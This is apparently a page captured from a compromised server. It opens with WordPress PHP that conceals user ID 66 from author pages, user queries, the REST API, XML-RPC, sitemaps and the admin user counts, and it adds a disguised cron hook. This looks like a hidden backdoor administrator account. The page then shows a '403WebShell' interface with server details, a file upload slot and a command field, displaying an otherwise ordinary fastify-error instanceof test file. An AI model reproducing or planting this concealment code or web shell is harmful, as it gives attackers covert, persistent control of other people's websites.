add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openskillpaths/node_modules/@fastify/error/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openskillpaths/node_modules/@fastify/error/test/instanceof.test.js
'use strict'

const cp = require('node:child_process')
const fs = require('node:fs')
const path = require('node:path')
const os = require('node:os')
const test = require('node:test')
const { createError, FastifyError } = require('..')

test('Readme: All errors created with `createError` will be instances of the base error constructor you provided, or `Error` if none was provided.', (t) => {
  t.plan(3)

  const CustomError = createError('ERROR_CODE', 'Hello %s', 500, TypeError)
  const customError = new CustomError('world')

  t.assert.ok(customError instanceof CustomError)
  t.assert.ok(customError instanceof TypeError)
  t.assert.ok(customError instanceof Error)
})

test('Readme: All instantiated errors will be instances of the `FastifyError` class. The `FastifyError` class can be required from the module directly.', (t) => {
  t.plan(1)

  const CustomError = createError('ERROR_CODE', 'Hello %s', 500, TypeError)
  const customError = new CustomError('world')

  t.assert.ok(customError instanceof FastifyError)
})

test('Readme: It is possible to create a `FastifyError` that extends another `FastifyError`, created by `createError`, while instanceof working correctly.', (t) => {
  t.plan(5)

  const CustomError = createError('ERROR_CODE', 'Hello %s', 500, TypeError)
  const ChildCustomError = createError('CHILD_ERROR_CODE', 'Hello %s', 500, CustomError)

  const customError = new ChildCustomError('world')

  t.assert.ok(customError instanceof ChildCustomError)
  t.assert.ok(customError instanceof CustomError)
  t.assert.ok(customError instanceof FastifyError)
  t.assert.ok(customError instanceof TypeError)
  t.assert.ok(customError instanceof Error)
})

test('Readme: Changing the code of an instantiated Error will not change the result of the `instanceof` operator.', (t) => {
  t.plan(3)

  const CustomError = createError('ERROR_CODE', 'Hello %s', 500, TypeError)
  const AnotherCustomError = createError('ANOTHER_ERROR_CODE', 'Hello %s', 500, CustomError)

  const customError = new CustomError('world')
  customError.code = 'ANOTHER_ERROR_CODE'

  t.assert.ok(customError instanceof CustomError)
  t.assert.ok(customError instanceof AnotherCustomError === false)
  t.assert.ok(customError instanceof FastifyError)
})

test('check if createError creates an Error which is instanceof Error', (t) => {
  t.plan(3)

  const CustomFastifyError = createError('CODE', 'Not available')
  const err = CustomFastifyError()

  t.assert.ok(err instanceof Error)
  t.assert.ok(err instanceof SyntaxError === false)
  t.assert.ok(err instanceof TypeError === false)
})

test('check if createError creates an Error which is instanceof FastifyError', (t) => {
  t.plan(4)

  const CustomFastifyError = createError('CODE', 'Not available')
  const err = CustomFastifyError()

  t.assert.ok(err instanceof Error)
  t.assert.ok(err instanceof FastifyError)
  t.assert.ok(err instanceof SyntaxError === false)
  t.assert.ok(err instanceof TypeError === false)
})

test('check if createError creates an Error with the right BaseConstructor', (t) => {
  t.plan(2)

  const CustomFastifyError = createError('CODE', 'Not available', 500, TypeError)
  const err = CustomFastifyError()

  t.assert.ok(err instanceof Error)
  t.assert.ok(err instanceof TypeError)
})

test('check if createError creates an Error with the right BaseConstructor, which is a FastifyError', (t) => {
  t.plan(6)

  const BaseFastifyError = createError('CODE', 'Not available', 500, TypeError)
  const CustomFastifyError = createError('CODE', 'Not available', 500, BaseFastifyError)
  const err = CustomFastifyError()

  t.assert.ok(err instanceof Error)
  t.assert.ok(err instanceof TypeError)
  t.assert.ok(err instanceof FastifyError)
  t.assert.ok(err instanceof BaseFastifyError)
  t.assert.ok(err instanceof CustomFastifyError)
  t.assert.ok(err instanceof SyntaxError === false)
})

// for more information see https://github.com/fastify/fastify-error/pull/86#issuecomment-1301466407
test('ensure that instanceof works accross different installations of the fastify-error module', async (t) => {
  const assertsPlanned = 5
  t.plan(assertsPlanned)

  // We need to create a test environment where fastify-error is installed in two different locations
  // and then we will check if the error created in one location is instanceof the error created in the other location
  // This is done by creating a test directory with the following structure:

  // /
  // ├── index.js
  // └── node_modules/
  //     ├── fastify-error/
  //     │   └── index.js
  //     └── dep/
  //         ├── index.js
  //         └── node_modules/
  //             └── fastify-error/
  //                 └── index.js

  const testDirectoryPrefix = 'fastify-error-instanceof-test-'

  const testCwd = path.resolve(os.tmpdir(), `${testDirectoryPrefix}${Math.random().toString(36).substring(2, 15)}`)
  fs.mkdirSync(testCwd, { recursive: true })

  // Create the index.js. It will be executed as a forked process, so we need to
  // use process.send to send messages back to the parent process.
  fs.writeFileSync(path.resolve(testCwd, 'index.js'), `
    'use strict'

    const path = require('node:path')
    const { createError, FastifyError } = require('fastify-error')
    const { foo } = require('dep')

    const actualPathOfFastifyError = require.resolve('fastify-error')
    const expectedPathOfFastifyError = path.resolve('node_modules', 'fastify-error', 'index.js')

    // Ensure that fastify-error is required from the node_modules directory of the test-project
    if (actualPathOfFastifyError !== expectedPathOfFastifyError) {
      console.error('actualPathOfFastifyError', actualPathOfFastifyError)
      console.error('expectedPathOfFastifyError', expectedPathOfFastifyError)
      throw new Error('fastify-error should be required from the node_modules directory of the test-project')
    }
    
    const Boom = createError('Boom', 'Boom', 500)
    const ChildBoom = createError('ChildBoom', 'Boom', 500, Boom)
    const NotChildBoom = createError('NotChildBoom', 'NotChildBoom', 500, Boom)

    try {
        foo()
    } catch (err) {
        process.send(err instanceof Error)
        process.send(err instanceof FastifyError)
        process.send(err instanceof NotChildBoom)
        process.send(err instanceof Boom)
        process.send(err instanceof ChildBoom)
    }
    `)

  // Create /node_modules/fastify-error directory
  // Copy the index.js file to the fastify-error directory
  fs.mkdirSync(path.resolve(testCwd, 'node_modules', 'fastify-error'), { recursive: true })
  fs.copyFileSync(path.resolve(process.cwd(), 'index.js'), path.resolve(testCwd, 'node_modules', 'fastify-error', 'index.js'))

  // Create /node_modules/dep/node_modules/fastify-error directory
  // Copy the index.js to the fastify-error directory
  fs.mkdirSync(path.resolve(testCwd, 'node_modules', 'dep', 'node_modules', 'fastify-error'), { recursive: true })
  fs.copyFileSync(path.resolve(process.cwd(), 'index.js'), path.resolve(testCwd, 'node_modules', 'dep', 'node_modules', 'fastify-error', 'index.js'))

  // Create /node_modules/dep/index.js. It will export a function foo which will
  // throw an error when called. The error will be an instance of ChildBoom, created
  // by the fastify-error module in the node_modules directory of dep.
  fs.writeFileSync(path.resolve(testCwd, 'node_modules', 'dep', 'index.js'), `
    'use strict'

    const path = require('node:path')
    const { createError } = require('fastify-error')

    const actualPathOfFastifyError = require.resolve('fastify-error')
    const expectedPathOfFastifyError = path.resolve('node_modules', 'dep', 'node_modules', 'fastify-error', 'index.js')

    // Ensure that fastify-error is required from the node_modules directory of the test-project
    if (actualPathOfFastifyError !== expectedPathOfFastifyError) {
      console.error('actualPathOfFastifyError', actualPathOfFastifyError)
      console.error('expectedPathOfFastifyError', expectedPathOfFastifyError)
      throw new Error('fastify-error should be required from the node_modules directory of dep')
    }
    
    const Boom = createError('Boom', 'Boom', 500)
    const ChildBoom = createError('ChildBoom', 'Boom', 500, Boom)

    module.exports.foo = function foo () {
        throw new ChildBoom('foo go Boom')
    }
    `)

  const finishedPromise = {
    promise: undefined,
    reject: undefined,
    resolve: undefined,
  }

  finishedPromise.promise = new Promise((resolve, reject) => {
    finishedPromise.resolve = resolve
    finishedPromise.reject = reject
  })

  const child = cp.fork(path.resolve(testCwd, 'index.js'), {
    cwd: testCwd,
    stdio: 'inherit',
    env: {
      ...process.env,
      NODE_OPTIONS: '--no-warnings'
    },
  })

  let messageCount = 0
  child.on('message', message => {
    try {
      switch (messageCount) {
        case 0:
          t.assert.strictEqual(message, true, 'instanceof Error')
          break
        case 1:
          t.assert.strictEqual(message, true, 'instanceof FastifyError')
          break
        case 2:
          t.assert.strictEqual(message, false, 'instanceof NotChildBoom')
          break
        case 3:
          t.assert.strictEqual(message, true, 'instanceof Boom')
          break
        case 4:
          t.assert.strictEqual(message, true, 'instanceof ChildBoom')
          break
      }
      if (++messageCount === assertsPlanned) {
        finishedPromise.resolve()
      }
    } catch (err) {
      finishedPromise.reject(err)
    }
  })

  child.on('error', err => {
    finishedPromise.reject(err)
  })

  await finishedPromise.promise

  // Cleanup
  // As we are creating the test-setup on the fly in the /tmp directory, we can remove it
  // safely when we are done. It is not relevant for the test if the deletion fails.
  try {
    fs.rmSync(testCwd, { recursive: true, force: true })
  } catch {}
})

Youez - 2016 - github.com/yon3zu
LinuXploit